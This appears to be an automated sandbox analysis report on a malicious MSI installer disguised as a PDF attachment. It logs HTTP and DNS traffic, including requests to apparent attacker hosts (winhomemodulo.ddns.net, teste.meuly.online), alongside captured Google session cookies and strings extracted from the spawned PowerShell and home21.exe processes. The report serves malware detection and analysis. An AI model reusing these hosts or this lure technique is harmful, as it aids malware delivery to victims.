AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ; OGPC=19037049-1:
Source: global traffic HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/d=0/dg=0/br=1/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw/m=syf6,aLUfP?xjs=s4 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=RTiVvdTA6ylkpQiO3Qeuu_aZDZp-W5AlG1VKBx0MgrcTLzo16l9hXh_WK6lnqgb6BKkShYlj0PI7fRd5QcYY_5ZnQ8V1elcZw8AJfid5Lix8wFh3hvAVpG5jX2dVMz6S3OckHTC9kNXXFZyVd6jv69Bm80go6kWRSoPEMU3kNSUezEV3Gnpwnzw
Source: global traffic HTTP traffic detected: GET /async/hpba?vet=10ahUKEwiy08nU942HAxWvRPEDHRObCtMQj-0KCBY..i&ei=J9-GZvKjJq-Jxc8Pk7aqmA0&opi=89978449&yv=3&cs=0&async=isImageHp:false,eventId:J9-GZvKjJq-Jxc8Pk7aqmA0,endpoint:overlay,stick:,_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.O0yDbPOOl4Q.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.uXKqy-U68Tg.L.B1.O%2Fam%3DAEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAAAACgCfBDAEADYEAAAAIABAAAAAAAAAKAAAAMAEAAAEAJAAEAAQEAAAAACAEEAAQAAIUASQACgIMgABAAARAAOGARAVAAwBAAAAAQQAAAAA4EYAAgQAgBAAAXgAAQAE6AABMAAIAABAAAMYCAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgAKAAAAAAAAAAAAAAAAAAAACA%2Fbr%3D1%2Frs%3DACT90oGsq-SoWBQak-dlJ1cJ1f6Qo33Eng,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.O0yDbPOOl4Q.O%2Fck%3Dxjs.hd.uXKqy-U68Tg.L.B1.O%2Fam%3DAEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAABACqCfBDAUADYEAAAAIABAAIAAIQBAKAAAAuAEEAEFAJAAEIBQEIBHmQCAEEAmQAAIUASQACgIcgABAAARAAOGARAVAAwBAAAAAQQAAAAM4MYAAgQAgBAAAXgAAQAE6AABMAAKIEBQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oHrqdFD_oFp_AmAyXzeY67GUHO6TQ,_fmt:prog,_id:a3JU5b HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=RTiVvdTA6ylkpQiO3Qeuu_aZDZp-W5AlG1VKBx0MgrcTLzo16l9hXh_WK6lnqgb6BKkShYlj0PI7fRd5QcYY_5ZnQ8V1elcZw8AJfid5Lix8wFh3hvAVpG5jX2dVMz6S3OckHTC9kNXXFZyVd6jv69Bm80go6kWRSoPEMU3kNSUezEV3Gnpwnzw
Source: global traffic HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/d=0/dg=0/br=1/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw/m=kMFpHd,sy8x,bm51tf?xjs=s4 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=RTiVvdTA6ylkpQiO3Qeuu_aZDZp-W5AlG1VKBx0MgrcTLzo16l9hXh_WK6lnqgb6BKkShYlj0PI7fRd5QcYY_5ZnQ8V1elcZw8AJfid5Lix8wFh3hvAVpG5jX2dVMz6S3OckHTC9kNXXFZyVd6jv69Bm80go6kWRSoPEMU3kNSUezEV3Gnpwnzw
Source: global traffic HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=515=DzgbIPWyjnteM7p2krd7CtooCsJpNrTKFAtf2c6YEuXPBiEhnUMORnckAkkoX1SW8Rv7LYNZOWaiVlMIp7AeVx8FMuYWkYyAwAWU8gb-SnH6tWdD5TlWl9FfA2uTmJKZBdo1tLkotn0Mg3BEx3GmYhbBl7agl3kuflwtZfLHHDA
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=RTiVvdTA6ylkpQiO3Qeuu_aZDZp-W5AlG1VKBx0MgrcTLzo16l9hXh_WK6lnqgb6BKkShYlj0PI7fRd5QcYY_5ZnQ8V1elcZw8AJfid5Lix8wFh3hvAVpG5jX2dVMz6S3OckHTC9kNXXFZyVd6jv69Bm80go6kWRSoPEMU3kNSUezEV3Gnpwnzw
Source: global traffic HTTP traffic detected: GET /gen_204?atyp=i&ct=psnt&cad=&nt=navigate&ei=J9-GZvKjJq-Jxc8Pk7aqmA0&zx=1720114990613&opi=89978449 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=RTiVvdTA6ylkpQiO3Qeuu_aZDZp-W5AlG1VKBx0MgrcTLzo16l9hXh_WK6lnqgb6BKkShYlj0PI7fRd5QcYY_5ZnQ8V1elcZw8AJfid5Lix8wFh3hvAVpG5jX2dVMz6S3OckHTC9kNXXFZyVd6jv69Bm80go6kWRSoPEMU3kNSUezEV3Gnpwnzw
Source: global traffic HTTP traffic detected: GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=N38B606KuvB9WRsT-yTxhlOHWGUcIng9h7_SRWJ13OpV1dvKrWIOYVMOYm2OgFZRJ5DJuGD7e2aYkkeCSgenJMudJwIY0kz0O4czMIAcc3hBTYL7hG9IfiJTMRZ2zG68RIX16OYnDGQ6us9jKIJdkqq4ubTD9mnjNgMl0RYLw8dNAdsaLANi7X0gaNorCOQ
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; NID=515=N38B606KuvB9WRsT-yTxhlOHWGUcIng9h7_SRWJ13OpV1dvKrWIOYVMOYm2OgFZRJ5DJuGD7e2aYkkeCSgenJMudJwIY0kz0O4czMIAcc3hBTYL7hG9IfiJTMRZ2zG68RIX16OYnDGQ6us9jKIJdkqq4ubTD9mnjNgMl0RYLw8dNAdsaLANi7X0gaNorCOQ
Source: global traffic HTTP traffic detected: GET /widget/app/so?awwd=1&gm3=1&origin=https%3A%2F%2Fwww.google.com.br&cn=app&pid=1&spid=538&hl=en HTTP/1.1Host: ogs.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; OGPC=19037049-1:; OTZ=7630183_72_76_104100_72_446760; NID=515=N38B606KuvB9WRsT-yTxhlOHWGUcIng9h7_SRWJ13OpV1dvKrWIOYVMOYm2OgFZRJ5DJuGD7e2aYkkeCSgenJMudJwIY0kz0O4czMIAcc3hBTYL7hG9IfiJTMRZ2zG68RIX16OYnDGQ6us9jKIJdkqq4ubTD9mnjNgMl0RYLw8dNAdsaLANi7X0gaNorCOQ
Source: global traffic HTTP traffic detected: GET /w2/ HTTP/1.1Host: winhomemodulo.ddns.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: chromecache_142.12.dr String found in binary or memory: var gMb;_.iMb=function(a){return gMb("https://www.facebook.com/dialog/share",{app_id:"738026486351791",href:_.hMb(a),hashtag:"#GoogleDoodle"})};_.jMb=function(a){return gMb("https://twitter.com/intent/tweet",{text:a})};_.kMb=function(a,b){return gMb("mailto:",{subject:a,body:b})};_.hMb=function(a){var b=a;b&&b.indexOf("//")===0&&(b="https:"+a);return b};gMb=function(a,b){var c=new _.Um,d;for(d in b)c.add(d,b[d]);a=new _.Mm(a);_.Sm(a,c);return a.toString()}; equals www.facebook.com (Facebook)
Source: chromecache_142.12.dr String found in binary or memory: var gMb;_.iMb=function(a){return gMb("https://www.facebook.com/dialog/share",{app_id:"738026486351791",href:_.hMb(a),hashtag:"#GoogleDoodle"})};_.jMb=function(a){return gMb("https://twitter.com/intent/tweet",{text:a})};_.kMb=function(a,b){return gMb("mailto:",{subject:a,body:b})};_.hMb=function(a){var b=a;b&&b.indexOf("//")===0&&(b="https:"+a);return b};gMb=function(a,b){var c=new _.Um,d;for(d in b)c.add(d,b[d]);a=new _.Mm(a);_.Sm(a,c);return a.toString()}; equals www.twitter.com (Twitter)
Source: global traffic DNS traffic detected: DNS query: teste.meuly.online
Source: global traffic DNS traffic detected: DNS query: winhomemodulo.ddns.net
Source: global traffic DNS traffic detected: DNS query: google.com.br
Source: global traffic DNS traffic detected: DNS query: www.google.com.br
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: ogs.google.com.br
Source: global traffic DNS traffic detected: DNS query: apis.google.com
Source: global traffic DNS traffic detected: DNS query: play.google.com
Source: unknown HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: svchost.exe, 0000000B.00000002.4115513838.000001A07E000000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: home21.exe, 00000006.00000003.1869307874.0000000009DF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://digitalbush.com/projects/masked-input-plugin/#license)
Source: svchost.exe, 0000000B.00000002.4116613572.000001A07E0E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E218000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000B.00000002.4115694157.000001A07E084000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.4114351304.000001A07D302000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.4115441197.000001A07DF32000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.4117967729.000001A07E11B000.00000004.00000020.00020000.00000000.sdmp, edb.log.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/ad3rm3ciqs3fjr4bc4x5vwuildeq_9.49.1/gcmjk
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E218000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E218000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000B.00000003.3490855209.000001A07E24D000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000000B.00000002.4115694157.000001A07E0A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 0000000B.00000002.4115513838.000001A07E000000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/ad3rm3ciqs3fjr4bc4x5vwuildeq_9.49.1/gc
Source: qmgr.db.11.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: home21.exe, 00000006.00000003.1869307874.0000000009DF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://fontawesome.io
Source: home21.exe, 00000006.00000003.1869307874.0000000009DF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://fontawesome.io/license/
Source: home21.exe, 00000006.00000003.1869307874.0000000009DF0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://fontawesome.iohttp://fontawesome.iohttp://fontawesome.io/license/http://fontawesome.io/licens
Source: powershell.exe, 00000003.00000002.1861035297.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000003.00000002.1859009151.0000000004E76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1862144445.00000000074B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp, home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: powershell.exe, 00000003.00000002.1859009151.0000000004D21000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/http/
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/mime/
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp, home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap/#
Source: home21.exe, 00000006.00000003.1861648679.0000000009E0B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/SV
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://t2.symcb.com0
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp, home21.exe, 00000006.00000003.1869307874.000000000A3F2000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/
Source: home21.exe, 00000006.00000003.1861648679.000000000A80B000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tempuri.org/U
Source: powershell.exe, 00000003.00000002.1859009151.0000000005407000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://teste.meuly.online
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: hANEXOPDF.PDF40 234057.msi, MSIBBBE.tmp.1.dr, MSIBBDE.tmp.1.dr, MSIBC4E.tmp.1.dr String found in binary or memory: http://tl.symcb.com/tl.crt0
